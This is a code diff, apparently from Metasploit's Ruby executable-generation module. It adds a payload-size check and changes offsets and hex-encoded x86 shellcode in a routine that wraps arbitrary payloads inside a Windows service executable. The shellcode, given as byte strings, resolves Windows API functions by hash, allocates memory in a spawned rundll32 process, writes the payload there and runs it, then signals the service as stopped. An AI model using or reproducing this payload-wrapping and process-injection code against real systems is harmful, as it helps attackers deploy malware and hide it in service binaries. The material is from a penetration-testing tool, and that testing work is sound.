@@ -345,6 +345,9 @@ def self.to_winpe_only(framework, code, opts={}, arch="x86")
345
345
characteristics = sec [ 1 ] [ characteristics_offset , 0x4 ] . unpack ( 'L' ) [ 0 ]
346
346
347
347
if ( virtualAddress ...virtualAddress +sizeOfRawData ) . include? ( pe . hdr . opt . AddressOfEntryPoint )
348
+ if sizeOfRawData <code . length
349
+ raise RuntimeError , "The EXE::Template doesn't contain enough place to write the payload."
350
+ end
348
351
# put this section writable
349
352
characteristics |= 0x8000_0000
350
353
newcharacteristics = [ characteristics ] . pack ( 'L' )
@@ -518,12 +521,22 @@ def self.to_win32pe_service(framework, code, opts={})
518
521
precode_size = 0xc6
519
522
svcmain_code_offset = precode_size + pushed_service_name . length
520
523
521
- precode_size += 0x06
524
+ precode_size = 0xcc
522
525
hash_code_offset = precode_size + pushed_service_name . length
523
526
524
- precode_size -= 0x0d
527
+ precode_size = 0xbf
525
528
svcctrlhandler_code_offset = precode_size + pushed_service_name . length
526
529
530
+ code_service_stopped =
531
+ "\xE8 \x00 \x00 \x00 \x00 \x5F \xEB \x07 \x58 \x58 \x58 \x58 \x31 \xC0 \xC3 " +
532
+ pushed_service_name +"\x89 \xE1 \x8D \x47 \x03 \x6A \x00 " +
533
+ "\x50 \x51 \x68 \x0B \xAA \x44 \x52 \xFF \xD5 \x6A \x00 \x6A \x00 \x6A \x00 \x6A " +
534
+ "\x00 \x6A \x00 \x6A \x00 \x6A \x01 \x6A \x10 \x89 \xE1 \x6A \x00 \x51 \x50 \x68 " +
535
+ "\xC6 \x55 \x37 \x7D \xFF \xD5 \x57 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 "
536
+
537
+ precode_size = 0x42
538
+ shellcode_code_offset = code_service_stopped . length + precode_size
539
+
527
540
# code_service could be encoded in the future
528
541
code_service =
529
542
"\xFC \xE8 \x89 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
@@ -549,12 +562,13 @@ def self.to_win32pe_service(framework, code, opts={})
549
562
"\x6C \x6C \x33 \x32 \x68 \x72 \x75 \x6E \x64 \x89 \xE1 \x56 \x50 \x57 \x57 \x6A " +
550
563
"\x44 \x57 \x57 \x57 \x51 \x57 \x68 \x79 \xCC \x3F \x86 \xFF \xD5 \x8B \x0E \x6A " +
551
564
"\x40 \x68 \x00 \x10 \x00 \x00 \x68 " +[ code . length ] . pack ( '<I' ) +"\x57 \x51 \x68 \xAE \x87 " +
552
- "\x92 \x3F \xFF \xD5 \xE8 \x00 \x00 \x00 \x00 \x5A \x89 \xC7 \x8B \x0E \x8D \x52 " +
553
- "\x47 \x54 \x68 " +[ code . length ] . pack ( '<I' ) +"\x52 \x50 \x51 \x68 \xC5 \xD8 \xBD \xE7 \xFF " +
565
+ "\x92 \x3F \xFF \xD5 \xE8 \x00 \x00 \x00 \x00 \x5A \x89 \xC7 \x8B \x0E \x81 \xC2 " +
566
+ [ shellcode_code_offset ] . pack ( '<I' ) +"\x54 \x68 " +[ code . length ] . pack ( '<I' ) +
567
+ "\x52 \x50 \x51 \x68 \xC5 \xD8 \xBD \xE7 \xFF " +
554
568
"\xD5 \x31 \xC0 \x8B \x0E \x50 \x50 \x50 \x57 \x50 \x50 \x51 \x68 \xC6 \xAC \x9A " +
555
569
"\x79 \xFF \xD5 \x8B \x0E \x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 \x8B \x4E \x04 " +
556
- "\x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 \x57 \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 "
557
-
570
+ "\x51 \x68 \xC6 \x96 \x87 \x52 \xFF \xD5 " +
571
+ code_service_stopped
558
572
559
573
return to_winpe_only ( framework , code_service + code , opts )
560
574
end
0 commit comments